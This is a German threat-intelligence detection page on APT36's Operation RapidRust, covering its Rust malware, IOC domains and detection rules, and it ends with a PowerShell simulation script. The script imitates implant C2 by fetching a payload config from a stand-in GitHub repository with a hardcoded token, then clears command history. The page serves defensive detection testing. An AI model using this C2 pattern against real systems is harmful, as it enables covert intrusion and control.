APT36 startet Operation RapidRust mit RUSTYSHADE und RUSTYMOVE
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Die mit Pakistan verbundene Bedrohungsakteur APT36 führt eine Kampagne durch, die als Operation RapidRust gegen Regierungs- und Verteidigungsorganisationen verfolgt wird. Die Gruppe hat neue, auf Rust basierende Malware eingeführt, darunter die RUSTYSHADE-Hintertür und das RUSTYMOVE-Verbreitungswerkzeug. APT36 verwendet auch spezialisierte Skripte zum Dateidiebstahl, PSNATCH und BASHNATCH, um Daten über private GitHub-Repositories zu sammeln und zu exfiltrieren.
Untersuchung
Zscaler ThreatLabz identifizierte im August 2026 neue Malware-Familien und Werkzeuge zur Nachkompromiss-Nutzung, die von APT36 eingesetzt werden. Die Untersuchung ergab, dass RUSTYSHADE die GitHub REST API für Command-and-Control missbraucht und Domains mit Tippfehlern zum Payload-Staging verwendet. Forscher beobachteten auch Versuche zur seitlichen Bewegungen und die Verbreitung von RUSTYMOVE über Wechselmedien, um luftdichte Umgebungen zu erreichen.
Minderung
Organisationen sollten die unerlaubte Nutzung der GitHub-API und ungewöhnliche ausgehende Verbindungen zu Cloud-Speicherdiensten wie Backblaze überwachen. Strikte Kontrollen sollten für Wechselmedien durchgesetzt werden, während verdächtige geplante Aufgaben, die sich als legitime Updates ausgeben, erkannt werden sollten. Auch die Endpunktüberwachung sollte nicht autorisierte Ausführungen von PowerShell- oder Bash-Skripten sowie ungewöhnliche Aktivitäten zur Datei-Exfiltration identifizieren.
Reaktion
Wenn bösartige Aktivitäten erkannt werden, sollten betroffene Windows- und Linux-Endpunkte sofort isoliert werden, um eine seitliche Bewegung und Datenexfiltration zu verhindern. Einsatzkräfte sollten geplante Aufgaben überprüfen und nach Dateien wie DriverInstaller.zip or Automata-20.exe. Netzprotokolle sollten auch auf Verbindungen zu theprints[.]org, indiatodays[.]org, und verdächtige GitHub-API-Aktivitäten, die aus der Umgebung stammen, überprüft werden.
Angriffsablauf
Wir aktualisieren diesen Teil noch.
Erkennungen
Die Möglichkeit der Ausführung durch versteckte PowerShell-Befehlszeilen (via cmdline)
Download oder Upload über PowerShell (via cmdline)
Mögliche Remote-Systemerkennung oder Konnektivitätsprüfung (via cmdline)
Mögliche Netzwerkteilungserkennung (via cmdline)
Mögliche Administratorenaccount- oder Gruppenaufzählung (via cmdline)
Mögliche Erkennung der Systemnetzwerkkonfiguration (via cmdline)
Verdächtige Ausführung aus öffentlichem Benutzerprofil (via process_creation)
Mögliche geplante Aufgaben-Erstellung (via powershell)
Mögliche IP-Lookup-Domain-Kommunikationsversuche (via dns)
IOCs (HashSha256) zum Erkennen: Operation RapidRust: APT36 setzt RUSTYSHADE, RUSTYMOVE, PSNATCH und BASHNATCH ein
IOCs (HashSha1) zum Erkennen: Operation RapidRust: APT36 setzt RUSTYSHADE, RUSTYMOVE, PSNATCH und BASHNATCH ein
IOCs (HashMd5) zum Erkennen: Operation RapidRust: APT36 setzt RUSTYSHADE, RUSTYMOVE, PSNATCH und BASHNATCH ein
RUSTYSHADE C2 Kommunikation über GitHub API [Windows-Netzwerkverbindung]
Erkennung von RUSTYSHADE- und RUSTYMOVE-Aktivität über PowerShell [Windows Powershell]
Simulationsausführung
-
Angriffserzählung & Befehle: Der Gegner hat erfolgreich ein RUSTYSHADE-ähnliches Implantat auf einem Windows-Arbeitsplatz bereitgestellt. Um weitere Anweisungen zu erhalten, muss das Implantat mit seinem auf GitHub gehosteten C2 kommunizieren. Das Implantat wird versuchen, ein bestimmtes Repository zu erreichen, um eine Payload abzurufen. Um grundlegende Perimeter-Filter zu umgehen, die möglicherweise anonymen API-Zugriff blockieren, verwendet das Implantat einen festcodierten persönlichen Zugriffstoken (PAT), der über den
Autorisation: token <TOKEN>-Header übergeben wird. Diese Aktion soll aussehen, als wäre es ein legitimes Entwickler-Tool, das Repository-Metadaten abruft, aber die spezifische Kombination aus Repository-URL und demtoken-Präfix im Header wird die Erkennungsregel auslösen. -
Regressionstestskript:
# Simulationsskript, um RUSTYSHADE C2-Kommunikation nachzuahmen # Dieses Skript erzeugt eine Anforderung, die der Erkennungslogik entspricht: # 1. URL enthält 'api.github.com/repos/' # 2. Header enthält 'Authorization: token' $targetUrl = "https://api.github.com/repos/adversary-c2/malicious-repo/contents/config.json" $fakeToken = "ghp_sImUlAtEdToKeN1234567890AbCdEfGhIjKlMnOpQrStUvWxYz" # Konstruktion des Headers, um den genauen 'token'-String zu entsprechen, der von der Regel benötigt wird $headers = @{ "Authorization" = "token $fakeToken" "User-Agent" = "RUSTYSHADE-Implant/1.0" } Write-Host "Versuch der C2-Kommunikation zu $targetUrl..." try { # Wir verwenden -ErrorAction SilentlyContinue, weil die URL gefälscht ist und 404 zurückgeben wird, # aber der Proxy wird trotzdem den Anforderungsversuch protokollieren. Invoke-WebRequest -Uri $targetUrl -Headers $headers -Method Get -ErrorAction SilentlyContinue Write-Host "Anforderung zur Simulation erfolgreich gesendet." } catch { Write-Host "Anforderung gesendet (Erwarteter Fehler aufgrund gefälschter URL, aber Proxy-Protokolle sollten den Versuch erfassen)." } -
Aufräumbefehle:
# Es wurden keine dauerhaften Änderungen am System vorgenommen; # trotzdem löschen wir die Befehlsverlauf zur Sauberkeit. Clear-History